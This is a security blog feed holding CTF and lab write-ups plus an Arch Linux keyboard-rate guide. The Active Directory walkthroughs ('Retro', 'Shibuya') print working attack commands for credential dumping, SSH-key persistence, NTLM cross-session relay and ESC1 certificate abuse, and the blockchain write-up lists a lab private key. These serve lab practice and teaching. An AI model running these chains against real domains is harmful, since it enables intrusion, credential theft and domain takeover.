<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029089886/1d2d8aa1-898e-4ff4-8f9f-a31b213b3d1a.png" alt class="image--center mx-auto" /></p>
<p>Knowing that machine accounts often use a default format like <code>Banking$</code>, I started testing a few common passwords with brute-force:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029103582/5d91702a-74e1-4aa7-898d-36228e9a069e.png" alt class="image--center mx-auto" /></p>
<p>After reading <a target="_blank" href="https://medium.com/@offsecdeer/finding-weak-ad-computer-passwords-e3dc1ed220df">that post</a>, the <code>STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT</code> error means the machine account password was reset or set to a default (like its lowercase name) after being pre-created or reset in AD, so it’s out of sync and no longer trusted by the domain!</p>
<p>By running:</p>
<pre><code class="lang-bash">changepasswd.py retro.vl/<span class="hljs-string">'BANKING$'</span>:banking@10.129.172.145 -newpass <span class="hljs-string">'&lt;REDACTED&gt;'</span> -dc-ip 10.129.172.145 -p rpc-samr
</code></pre>
<p>I was able to change the machine account password successfully. Impacket’s <a target="_blank" href="http://changepasswd.py"><code>changepasswd.py</code></a> script lets you change a user’s password using LDAP, kpasswd, SMB, or RPC. Both SMB and RPC use the SAMR protocol, but since we can’t access the <code>IPC$</code> share with the default password (as already seen), we go with <code>rpc-samr</code>, which doesn’t require SMB session setup.</p>
<h2 id="heading-adcs-privesc"><strong>ADCS | PrivEsc</strong></h2>
<p>After reviewing <strong>BloodHound</strong> again and changing the password for <code>BANKING$</code>, I enumerate with netexec to check for <strong>ADCS</strong> and see if we can abuse any templates.</p>
<p>The result confirms there’s a <strong>PKI Enrollment Server</strong> at <code>DC.retro.vl</code>, and the Certificate Authority is <code>retro-DC-CA</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029130732/90e0bbd7-c899-4e75-a43e-ab8aee3d2dde.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-adcs-finding-vulnerable-certificates"><strong>ADCS | Finding Vulnerable Certificates</strong></h2>
<p>By running:</p>
<pre><code class="lang-bash">certipy find -vulnerable -u BANKING<span class="hljs-variable">$@DC</span>.retro.vl -p <span class="hljs-string">"&lt;REDACTED&gt;"</span> -target 10.129.172.145 -dc-ip 10.129.172.145 -stdout
</code></pre>
<h2 id="heading-esc1-abuse"><strong>ESC1 Abuse</strong></h2>
<p>Now we can abuse ESC1 using certipy like this:</p>
<pre><code class="lang-bash">certipy req -u <span class="hljs-string">'BANKING$'</span>@retro.vl -p <span class="hljs-string">'&lt;REDACTED&gt;'</span> -ca retro-DC-CA -template RetroClients -upn administrator@retro.vl -dc-ip 10.129.172.145 -target-ip 10.129.172.145 -key-size 4096
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754029155816/79896334-a146-4bfa-b83d-4ddc7769e852.png" alt class="image--center mx-auto" /></p>
<p>Then I extract the hash like this and log in as <code>administrator</code> via <strong>evil-winrm</strong>:</p>
<pre><code class="lang-bash">evil-winrm -i 10.129.172.145 -u Administrator -H <span class="hljs-string">'&lt;HASH&gt;'</span>

*Evil-WinRM* PS C:\Users\Administrator\Documents&gt; <span class="hljs-built_in">type</span> C:\Users\Administrator\Desktop\root.txt
</code></pre>
<blockquote>
<p><strong>Pwned!</strong></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Shibuya - Writeup (Vulnlab)]]></title><description><![CDATA[░██████╗██╗░░██╗██╗██████╗░██╗░░░██╗██╗░░░██╗░█████╗░
██╔════╝██║░░██║██║██╔══██╗██║░░░██║╚██╗░██╔╝██╔══██╗
╚█████╗░███████║██║██████╦╝██║░░░██║░╚████╔╝░███████║
░╚═══██╗██╔══██║██║██╔══██╗██║░░░██║░░╚██╔╝░░██╔══██║
██████╔╝██║░░██║██║██████╦╝╚██████...]]></description><link>https://myhack.tech/shibuya-writeup-vulnlab</link><guid isPermaLink="true">https://myhack.tech/shibuya-writeup-vulnlab</guid><category><![CDATA[shibuya]]></category><category><![CDATA[Writeup]]></category><category><![CDATA[vulnlab]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Sat, 21 Jun 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754026892358/1cbbb038-0554-4c2b-bb28-6601bddb830b.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<pre><code class="lang-bash">░██████╗██╗░░██╗██╗██████╗░██╗░░░██╗██╗░░░██╗░█████╗░
██╔════╝██║░░██║██║██╔══██╗██║░░░██║╚██╗░██╔╝██╔══██╗
╚█████╗░███████║██║██████╦╝██║░░░██║░╚████╔╝░███████║
░╚═══██╗██╔══██║██║██╔══██╗██║░░░██║░░╚██╔╝░░██╔══██║
██████╔╝██║░░██║██║██████╦╝╚██████╔╝░░░██║░░░██║░░██║
╚═════╝░╚═╝░░╚═╝╚═╝╚═════╝░░╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝
</code></pre>
<h2 id="heading-nmap"><strong>NMAP</strong></h2>
<pre><code class="lang-bash">22/tcp   open  ssh
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server
</code></pre>
<h2 id="heading-foothold"><strong>FOOTHOLD</strong></h2>
<p>After some basic tests didn’t return anything useful, I started enumerating with <strong>Kerbrute</strong>.<br />This dictionary should be enough, I usually use it among the defaults <strong>xato-net-10-million-usernames.txt</strong>:</p>
<ul>
<li><p>purple@shibuya.vl</p>
</li>
<li><p>red@shibuya.vl</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754026215624/457ecad1-7610-4043-91f5-1e469b2b7aa7.png" alt class="image--center mx-auto" /></p>
<p>I created a file named <code>users.txt</code> and tried to use it with NetExec. NTLM auth didn’t work initially, so I tried Kerberos with <em>-k</em> flag:</p>
<pre><code class="lang-bash">nxc smb 10.129.62.234 -u users.txt -p &lt;wordlist.txt&gt; --shares --continue-on-success -k
</code></pre>
<h2 id="heading-enumerating-more-domain-users"><strong>Enumerating more domain users</strong></h2>
<p>We get a full list of domain accounts. Among them, the user <code>svc_autojoin</code> stands out because its description contains a plaintext password:</p>
<pre><code class="lang-bash">nxc smb 10.129.62.234 -u red -p <span class="hljs-string">'&lt;REDACTED&gt;'</span> --users -k
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754026232475/d42a5a4e-f04d-4706-95d9-5afe3d223f0f.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-getting-tgt-svcautojoin"><strong>Getting TGT | svc_autojoin</strong></h2>
<p>We got a ticket for the new user: <strong>svc_autojoin</strong></p>
<pre><code class="lang-bash">getTGT.py shibuya.vl/svc_autojoin:<span class="hljs-string">'&lt;REDACTED&gt;'</span> -dc-ip 10.129.62.234

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket <span class="hljs-keyword">in</span> svc_autojoin.ccache
</code></pre>
<p>Then, export and I checked it with <code>klist</code> and used Kerberos to connect via SMB:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> KRB5CCNAME=svc_autojoin.ccache
klist
smbclient.py AWSJPDC0522.shibuya.vl -k -no-pass
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754026254883/90611cd4-77da-4d9b-a2ec-e44d7d6554d1.png" alt /></p>
<p>This user had access to <code>images$</code> share. I listed and downloaded the <code>.wim</code> files:</p>
<pre><code class="lang-bash">smbclient.py svc_autojoin@shibuya.vl
<span class="hljs-comment"># use images$</span>
<span class="hljs-comment"># get AWSJPWK0222-01.wim</span>
<span class="hljs-comment"># get AWSJPWK0222-02.wim</span>
<span class="hljs-comment"># get AWSJPWK0222-03.wim</span>
<span class="hljs-comment"># get vss-meta.cab</span>
</code></pre>
<h2 id="heading-extracting-wim-files-locally"><strong>Extracting WIM files locally</strong></h2>
<p>We extract the <code>.wim</code> file using <code>7z</code> to inspect its contents:</p>
<pre><code class="lang-bash">7z x AWSJPWK0222-01.wim
</code></pre>
<p>The first image mostly contains user profiles, but nothing useful. We repeat the process with the second WIM file, which turns out to include sensitive registry hives like <code>SAM</code>, <code>SYSTEM</code>, and <code>SECURITY</code>.</p>
<pre><code class="lang-bash">secretsdump.py -system SYSTEM -sam SAM -security SECURITY <span class="hljs-built_in">local</span>
</code></pre>
<h3 id="heading-hashes-found"><strong>Hashes found</strong></h3>
<ul>
<li><p>Administrator (Of course not working)</p>
</li>
<li><p>Guest</p>
</li>
<li><p>DefaultAccount</p>
</li>
<li><p>WDAGUtilityAccount</p>
</li>
<li><p>operator (This is interesting!! :D)</p>
</li>
<li><p>Simon.Watson (cached)</p>
</li>
</ul>
<p>Assuming <code>operator</code> hash belongs to <strong>Simon.Watson</strong> since he’s the only user with a local profile.</p>
<h2 id="heading-usertxt-smb-access-like-simonwatson"><strong>USER.txt | SMB Access like Simon.Watson</strong></h2>
<p>Once we recover the hash, we test SMB access using it directly with <a target="_blank" href="http://smbclient.py"><code>smbclient.py</code></a>:</p>
<pre><code class="lang-bash">smbclient.py simon.watson@AWSJPDC0522.shibuya.vl -hashes :&lt;<span class="hljs-built_in">hash</span>&gt;
</code></pre>
<p>Access is successful, confirming that the hash is valid and usable. While browsing Simon’s home folder, we retrieve the <code>user.txt</code> flag directly:</p>
<pre><code class="lang-bash">get user.txt
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754026342985/9d777911-ed51-47ca-aaea-8badfed2e281.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-ssh-persistence"><strong>SSH Persistence</strong></h2>
<p>We upload an SSH key to Simon’s profile to keep stable access. First, on the <strong>attacker machine</strong>, we generate the key pair and prepare the <code>authorized_keys</code> file:</p>
<pre><code class="lang-bash">ssh-keygen -t ed25519 -f simon -C <span class="hljs-string">"simon"</span>
mv simon.pub authorized_keys
chmod 0600 simon
</code></pre>
<p>Here, <code>simon</code> is the <strong>private key</strong> (which we’ll use to connect), and we copy the contents of <a target="_blank" href="http://simon.pub"><code>simon.pub</code></a> into a file named <code>authorized_keys</code>.</p>
<p>Then, using <strong>SMB access</strong>, we go to Simon’s home folder and create the <code>.ssh</code> directory manually and upload the autorized_keys file:</p>
<pre><code class="lang-bash">mkdir .ssh
<span class="hljs-built_in">cd</span> .ssh
put authorized_keys
</code></pre>
<p>This gives us persistent SSH access to the system using our private key. Remember, port <strong>22 (SSH)</strong> was open since the initial NMAP scan!.</p>
<p>We connect via SSH:</p>
<pre><code class="lang-bash">ssh -i simon simon.watson@shibuya.vl
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754026372642/ab905f9f-2b30-47f8-a16e-db3db09f7acd.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-bloodhound-time"><strong>BloodHound Time</strong></h2>
<p>It’s only at this point in the box that I started doing some recon with <strong>BloodHound</strong>. Now that I have SSH access, the first thing I did was this:</p>
<pre><code class="lang-bash">ssh -i simon simon.watson@10.129.62.234 -D1080 -N
</code></pre>
<p><em>What I’m doing here: I’m creating a SOCKS proxy over SSH from my attacker machine to pivot traffic like LDAP through Simon’s access.</em></p>
<p>Now, by configuring <strong>proxychains</strong> to use that local SOCKS proxy, I can pull all the LDAP data for BloodHound straight from the DC:</p>
<pre><code class="lang-bash">proxychains nxc ldap AWSJPDC0522.shibuya.vl -u <span class="hljs-string">'simon.watson'</span> -H <span class="hljs-string">'&lt;REDACTED&gt;'</span> --bloodhound -c all --dns-server 10.129.62.234
</code></pre>
<h2 id="heading-lateral-movement-nigelmills"><strong>Lateral Movement: Nigel.Mills</strong></h2>
<p>After analyzing AD permissions with BloodHound, we confirm that the user ‘Nigel.Mills’ is a <strong>Tier 1 Admin</strong> and has <strong>RDP access</strong>. That makes him a high-value lateral movement target.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754026401762/64234efe-ee76-4b7f-846a-db009af1336e.png" alt class="image--center mx-auto" /></p>
<p>Once on the system, I try using <strong>evil-winrm</strong> to check for active sessions, but it doesn’t return anything useful. That’s because it runs under logon type 3 (network), which doesn’t allow us to see interactive sessions.</p>
<pre><code class="lang-bash">PS C:\ProgramData&gt; qwinsta
No session exists <span class="hljs-keyword">for</span> *
</code></pre>
<p>To get around that, I use ‘RunasCs.exe’ with <strong>logon type 9</strong>, which gives us a local token with full session visibility:</p>
<pre><code class="lang-bash">./runas.exe x x <span class="hljs-string">"qwinsta *"</span> -l 9
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754026429786/5b490b40-af8a-45f5-8e9a-f2309cfa8e2f.png" alt class="image--center mx-auto" /></p>
<p>This shows us a live session from ‘nigel.mills’ confirming he’s actively logged in. To move laterally and grab his NTLM hash, <strong><em>I use RemotePotato0 by Antonio Coco</em></strong>. (<a target="_blank" href="https://github.com/antonioCoco/RemotePotato0">https://github.com/antonioCoco/RemotePotato0). We can perform a <strong>cross-session relay atta</strong></a><strong>ck</strong></p>
<h2 id="heading-cross-session-relay-attack"><strong>Cross-Session Relay Attack</strong></h2>
<p>Cross-session relay attacks on Windows let you capture and reuse NTLM authentication from one user session into another. Basically, it allows a low-privileged user to hijack a higher-privileged session and act as that user.. without ever knowing their credentials!.</p>
<h2 id="heading-attacker-side"><strong>Attacker side</strong></h2>
<pre><code class="lang-bash">sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.129.62.234:8888
</code></pre>
<h2 id="heading-victim-side"><strong>Victim side</strong></h2>
<pre><code class="lang-bash">.\rpotato.exe -m 2 -r 10.10.14.211 -x 10.10.14.211 -p 8888 -s 1
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754026475251/f291e4d7-1579-48c1-8800-a9b9cf7512e8.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-nigelmills-cracked-credentials"><strong>Nigel.Mills | Cracked Credentials</strong></h2>
<p>Finally from hashcat got Nigel.Mills credentials:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754026492668/cae0836f-4413-4000-b512-74d0c3463859.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-adcs-amp-vulnerable-template-discovery"><strong>ADCS &amp; Vulnerable Template Discovery</strong></h2>
<p>This machine has <strong>(ADCS)</strong> enabled. Now that we cracked <strong>Nigel.Mills</strong> credentials, we can use them to scan for vulnerable certificate templates with <strong>Certipy</strong> from our attack box:</p>
<pre><code class="lang-bash">certipy find -vulnerable -u NIGEL.MILLS@AWSJPDC0522.shibuya.vl -p <span class="hljs-string">"&lt;REDACTED&gt;"</span> -target 10.129.62.234 -dc-ip 10.129.62.234 -stdout
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754026505976/73ed0277-66f1-4318-a691-90ea83515f81.png" alt class="image--center mx-auto" /></p>
<p>We’ll focus on <strong>ESC1</strong>!.</p>
<h2 id="heading-esc1-abuse"><strong>ESC1 ABUSE</strong></h2>
<p>Because ‘nigel.mills’ is part of the ‘t1_admins’ group, he has permission to enroll for certificates using the vulnerable <code>ShibuyaWeb</code> template.</p>
<p>This means we can easily abuse ESC1 by requesting a certificate for a different user (in this case, <code>_admin</code> <em>(Domain Admin)</em>) and then authenticate as that user.</p>
<pre><code class="lang-bash">proxychains certipy req -u nigel.mills -p <span class="hljs-string">'&lt;REDACTED&gt;'</span> -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn _admin -dc-ip 10.129.62.234 -key-size 4096 -sid <span class="hljs-string">'S-1-5-21-87560095-894484815-3652015022-500'</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754026527375/6dd1e7ca-c5e9-4990-94ba-d42710a42366.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">proxychains certipy auth -pfx _admin.pfx -domain shibuya.vl -username _admin -dc-ip 10.129.62.234
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754026538505/92535bde-720d-4a46-b02a-e08c60c4aa4c.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-root"><strong>ROOT</strong></h2>
<p>Now that we’ve successfully authenticated as <code>_admin</code> by abusing ESC1, we can fully compromise the Domain Controller.</p>
<p>We connect via SMB with the <code>_admin</code> credentials and read the final flag:</p>
<pre><code class="lang-bash">proxychains nxc smb 10.129.62.234 -u _admin -H &lt;REDACTED_HASH&gt; -x <span class="hljs-string">'type C:\Users\Administrator\Desktop\root.txt'</span>
</code></pre>
<p><strong>PWN3D!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Keyboard delay and repeat rate in Arch Linux]]></title><description><![CDATA[If your keyboard feels sluggish when holding down a key, like when scrolling through an Alacritty or Kitty terminal, or moving around in Visual Studio Code or a text editor, it’s probably because of the default typematic delay and repeat rate setting...]]></description><link>https://myhack.tech/keyboard-delay-and-repeat-rate-in-arch-linux</link><guid isPermaLink="true">https://myhack.tech/keyboard-delay-and-repeat-rate-in-arch-linux</guid><category><![CDATA[keyboard]]></category><category><![CDATA[ArchLinux]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Sun, 08 Jun 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754025589593/3fc3eaea-7025-461f-9563-c31822401efa.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If your keyboard feels sluggish when holding down a key, like when scrolling through an Alacritty or Kitty terminal, or moving around in Visual Studio Code or a text editor, it’s probably because of the default <em>typematic delay</em> and <em>repeat rate</em> settings.</p>
<p>Arch gives you full control over this. Here’s how to make your keyboard feel more responsive in both graphical (X11) sessions and the TTY console.</p>
<h2 id="heading-what-are-we-changing"><strong>What are we changing?</strong></h2>
<ul>
<li><p><strong>Delay</strong>: Time (in ms) before a key starts repeating when you hold it down.</p>
</li>
<li><p><strong>Rate</strong>: How many times per second it repeats once it starts.</p>
</li>
</ul>
<p>Default settings are usually slow, around 500 ms delay and 25 Hz rate. Personally, I use <code>xset r rate 200 40</code> as my current configuration and find it to be a great balance of speed and control. I prefer something like <strong>200 ms delay</strong> and <strong>40 Hz rate</strong> for a smoother experience.</p>
<h2 id="heading-x11-graphical-session"><strong>X11 (Graphical Session)</strong></h2>
<p>You can check your current keyboard repeat settings with:</p>
<pre><code class="lang-bash">xset q
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754025411052/274a891c-fe18-4ae2-87f6-887dd1e7b122.png" alt class="image--center mx-auto" /></p>
<p>Look for the section that shows:</p>
<pre><code class="lang-bash">Keyboard Control:
  auto repeat delay:  200    repeat rate:  40
</code></pre>
<p><em>This confirms your current config.</em></p>
<p>Run this in your terminal:</p>
<pre><code class="lang-bash">xset r rate 200 40
</code></pre>
<p><em>This sets a 200ms delay and 40 key repeats per second.</em></p>
<h2 id="heading-make-it-permanent"><strong>Make it permanent</strong></h2>
<p>In my case, I added it to <code>~/.xprofile</code> so it runs automatically when I log in.</p>
<h2 id="heading-tty-console-without-x"><strong>TTY (Console without X)</strong></h2>
<p>For the TTY (Ctrl+Alt+F2 style consoles), use <code>kbdrate</code>:</p>
<pre><code class="lang-bash">sudo kbdrate -d 200 -r 40
</code></pre>
<p>This won’t survive a reboot, so let’s create a persistent systemd service.</p>
<ol>
<li><p>Create the service file:</p>
<pre><code class="lang-bash"> sudo nano /etc/systemd/system/kbdrate.service
</code></pre>
</li>
</ol>
<p>Paste this:</p>
<pre><code class="lang-bash">[Unit]
Description=Set keyboard delay and repeat rate <span class="hljs-keyword">for</span> TTY

[Service]
Type=oneshot
ExecStart=/usr/bin/kbdrate -d 200 -r 40

[Install]
WantedBy=multi-user.target
</code></pre>
<ol start="2">
<li><p>Enable and start the service:</p>
<pre><code class="lang-bash"> sudo systemctl <span class="hljs-built_in">enable</span> --now kbdrate.service
</code></pre>
</li>
</ol>
<h2 id="heading-done"><strong>Done</strong></h2>
<p>That’s it. One small tweak and your system feels faster and more responsive. No extra packages, just native tools. Drop it into your dotfiles and forget about it.</p>
]]></content:encoded></item><item><title><![CDATA[Writeup: I Want Pie 🩸 (First Blood - NahamCon CTF 2025)]]></title><description><![CDATA[The NahamCon CTF 2025 has wrapped up, and honestly, it was a super interesting and fun experience. We tackled some technical challenges, but this one stood out because I managed to solve it first and got the First Blood.
It was a MISC challenge, Medi...]]></description><link>https://myhack.tech/writeup-i-want-pie-nahamcon-ctf-2025</link><guid isPermaLink="true">https://myhack.tech/writeup-i-want-pie-nahamcon-ctf-2025</guid><category><![CDATA[nahamsec]]></category><category><![CDATA[Writeup]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Mon, 26 May 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754024936808/46156dcc-c1fe-4268-ac80-95e207056ef1.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The <strong>NahamCon CTF 2025</strong> has wrapped up, and honestly, it was a super interesting and fun experience. We tackled some technical challenges, but this one stood out because I managed to solve it first and got the <strong>First Blood</strong>.</p>
<p>It was a <strong>MISC</strong> challenge, <strong>Medium</strong> difficulty, and I’ll quickly walk you through how I solved it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754023960617/ed474056-e5e2-4591-9536-d3ce803f623b.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-challenge-overview"><strong>Challenge Overview</strong></h2>
<p>As soon as you landed on the page, you got the classic CTF home template vibe. But there was also a little poem that definitely hinted at what we had to do next:</p>
<pre><code class="lang-plaintext">If I eat one more piece of pie, I'll die!
If I can't have one more piece of pie, I'll die!
So since it's all decided I must die,
I might as well have one more piece of pie(t).
As long executing that piece of pie prints out `flag, oh my`,
MMMM–OOOH–MY!
Chomp–Gulp–'Bye.
</code></pre>
<h2 id="heading-initial-analysis"><strong>Initial Analysis</strong></h2>
<h2 id="heading-while-inspecting-the-page-i-spotted-a-few-key-details"><strong>While inspecting the page, I spotted a few key details</strong></h2>
<ul>
<li><p>The clever wordplay in <strong>“pie(t)”</strong></p>
</li>
<li><p>The very specific line: <strong>As long executing that piece of pie prints out</strong> <code>flag, oh my</code></p>
</li>
</ul>
<h2 id="heading-in-the-html-source-code"><strong>In the HTML source code</strong></h2>
<ul>
<li>The hint <strong>“print ascii… probably”</strong> in the animated text:</li>
</ul>
<pre><code class="lang-bash">&lt;span class=<span class="hljs-string">"typed"</span> data-typed-items=<span class="hljs-string">"print ascii... probably"</span>&gt;&lt;/span&gt;
&lt;br&gt;
</code></pre>
<ul>
<li>The reference to <strong>“most colorful pie”</strong> in the paragraph:</li>
</ul>
<pre><code class="lang-bash">&lt;p&gt;Mmmmm does my CPU ever like pie. And with the most colorful pie, we can...&lt;/p&gt;
</code></pre>
<ul>
<li>The upload form accepted <strong>.png</strong> images only:</li>
</ul>
<pre><code class="lang-bash">&lt;form action=<span class="hljs-string">"/run"</span> method=<span class="hljs-string">"post"</span> class=<span class="hljs-string">"php-email-form"</span>&gt;
  &lt;div class=<span class="hljs-string">"form-group mt-3"</span>&gt;
      &lt;input <span class="hljs-built_in">type</span>=<span class="hljs-string">'file'</span> name=<span class="hljs-string">'pie'</span> accept=<span class="hljs-string">"image/png"</span>&gt;
  &lt;/div&gt;
  &lt;div class=<span class="hljs-string">"text-center"</span>&gt;&lt;button <span class="hljs-built_in">type</span>=<span class="hljs-string">"submit"</span>&gt;Pie Time!&lt;/button&gt;&lt;/div&gt;
&lt;/form&gt;
</code></pre>
<p>All these clues pointed me straight to a programming language called <strong>PIET</strong>.</p>
<h2 id="heading-what-is-piet"><strong>What is PIET?</strong></h2>
<p>Piet is an esoteric programming language where programs are represented as “bitmaps”, images, basically. It’s a wild mix of art and code.</p>
<p>One of its quirks is that it only uses <strong>20 specific colors</strong>, and the execution flows based on how the brightness and hue change between color blocks.</p>
<p>Basically, the “CPU eats the image like pie,” which ties directly back to the name of the challenge: <strong>I Want Pie</strong>.</p>
<blockquote>
<p>For more info: <a target="_blank" href="https://en.wikipedia.org/wiki/Piet_\(programming_language\)">https://en.wikipedia.org/wiki/Piet_(programming_language)</a></p>
</blockquote>
<h2 id="heading-solving-the-challenge"><strong>Solving the Challenge</strong></h2>
<h2 id="heading-1-first-attempt-a-basic-png-file"><strong>1️⃣ First attempt: a basic .png file</strong></h2>
<p>When you see an upload form, your mind races with possibilities. But the key was to figure out how it actually worked. So I just uploaded a <strong>sample.png</strong> and got this response:</p>
<pre><code class="lang-bash">Error: This is prooobably not pie my CPU can eat. I like ppm pie.
</code></pre>
<p>That’s when I realized that the server didn’t want a PNG file at all.. it was expecting a <strong>PPM</strong> file, not PNG like I initially thought.</p>
<h2 id="heading-2-second-attempt-converting-to-ppm"><strong>2️⃣ Second attempt: converting to PPM</strong></h2>
<p>On my second try, I converted my PNG to PPM using an online converter. But that just gave me another error:</p>
<pre><code class="lang-bash">500 INTERNAL SERVER ERROR
</code></pre>
<p>At that point, it was clear: my <strong>Piet</strong> program wasn’t valid. I needed to find a real, working Piet code.</p>
<h2 id="heading-3-finding-valid-examples"><strong>3️⃣ Finding valid examples</strong></h2>
<p>I started digging for functional Piet examples. I found this awesome gallery:<br /><a target="_blank" href="https://www.bertnase.de/npiet/picture.html">https://www.bertnase.de/npiet/picture.html</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754024344395/b16ffde1-edfc-46d6-83a4-22d66db5ceb1.png" alt class="image--center mx-auto" /></p>
<p>I grabbed a “Hello World” program that actually worked, and when I uploaded it to the challenge, I got:</p>
<pre><code class="lang-bash">Executing bytes, stdout: Hello, world!
</code></pre>
<p>Nice! All that was left was to tweak it to print something that would actually get me the <strong>flag</strong>.</p>
<h2 id="heading-4-using-an-automatic-piet-generator"><strong>4️⃣ Using an automatic Piet generator</strong></h2>
<p>After wasting some time on random online editors, I knew I needed to automate it. I found an old GitHub repo from about 9 years ago. Shoutout and link: <a target="_blank" href="https://github.com/sebbeobe/piet_message_generator">https://github.com/sebbeobe/piet_message_generator</a></p>
<p>This Python script takes any text input and spits out Piet code that prints it. <em>Fun fact: if the input is short enough, it even makes a picture of Platon reading a book about Piet.</em></p>
<pre><code class="lang-bash">git <span class="hljs-built_in">clone</span> https://github.com/sebbeobe/piet_message_generator.git
pip install imageio pillow

python3 piet_gen.py
</code></pre>
<h2 id="heading-5-cracking-the-challenge-by-going-back-to-the-poem"><strong>5️⃣ Cracking the challenge by going back to the poem</strong></h2>
<p>Like with any challenge, I tried a bunch of stuff, but here it was all about paying attention and going back to the start. Even though the poem said <em>“prints out</em> <code>flag, oh my</code>“, it wasn’t instantly obvious that <strong>this exact phrase</strong> was the only valid output.</p>
<p>I only confirmed it when I uploaded the “Hello, world!” Piet and saw it worked but didn’t give me the flag. That’s when I realized the server was comparing the program’s output directly to “flag, oh my”. So if I wanted the challenge to give me the flag, I had to make a Piet program that printed <strong>exactly that</strong>, with no extra characters.</p>
<p>And sure enough, that’s where the script I found earlier came in handy. After generating a new image with <strong>piet_gen.py</strong> that printed <code>flag, oh my</code>, I uploaded it and snagged the flag.. along with the <strong>First Blood</strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754024488126/78cae10e-fc61-4e2c-b80b-28299c3a854e.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Writeup de "Funds Secured" | Blockchain]]></title><description><![CDATA[Descripcion del Challenge:
En Arodor, un programa de crowdfunding de última generación impulsó investigaciones innovadoras. Impulsado por un smart contract, el programa tenía como objetivo recaudar fondos. Un consejo directivo supervisaba esta campañ...]]></description><link>https://myhack.tech/writeup-de-funds-secured-blockchain</link><guid isPermaLink="true">https://myhack.tech/writeup-de-funds-secured-blockchain</guid><category><![CDATA[Blockchain]]></category><category><![CDATA[Writeup]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Thu, 08 May 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754023213126/11b3b91f-f5be-426e-bb9d-8a7e31b7f6ef.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-descripcion-del-challenge"><strong>Descripcion del Challenge:</strong></h2>
<p>En Arodor, un programa de crowdfunding de última generación impulsó investigaciones innovadoras. Impulsado por un smart contract, el programa tenía como objetivo recaudar fondos. Un consejo directivo supervisaba esta campaña, siendo responsable de finalizar el programa mediante un esquema de wallet multi-firma. Tu objetivo es explotar el contrato y robar los fondos, representando una amenaza para la noble misión científica de Arodor.</p>
<h2 id="heading-info"><strong>Info:</strong></h2>
<pre><code class="lang-plaintext">Private key           :  0x8c5791a5eedf0f28562d0e863116e4a1a19825c32606ca5a1efeabfbe3958cc5
Address               :  0xbD2297b04860d23a168421f5196f7EE0AAcF926a
Crowdfunding contract :  0xaf9955Fe74687503AFDa90fF9a3bd3F57F03F470
Wallet contract       :  0x454B7c647787819D73964E2a42C02480D7771B81
Setup contract        :  0x1364282cC6Eff85cED108ac337D330492891a086
</code></pre>
<p>Seteo variables para trabajar comodamente:</p>
<pre><code class="lang-plaintext">Private='0x8c5791a5eedf0f28562d0e863116e4a1a19825c32606ca5a1efeabfbe3958cc5'
Address='0xbD2297b04860d23a168421f5196f7EE0AAcF926a'
Crowdfunding='0xaf9955Fe74687503AFDa90fF9a3bd3F57F03F470'
Wallet='0x454B7c647787819D73964E2a42C02480D7771B81'
Setup='0x1364282cC6Eff85cED108ac337D330492891a086'
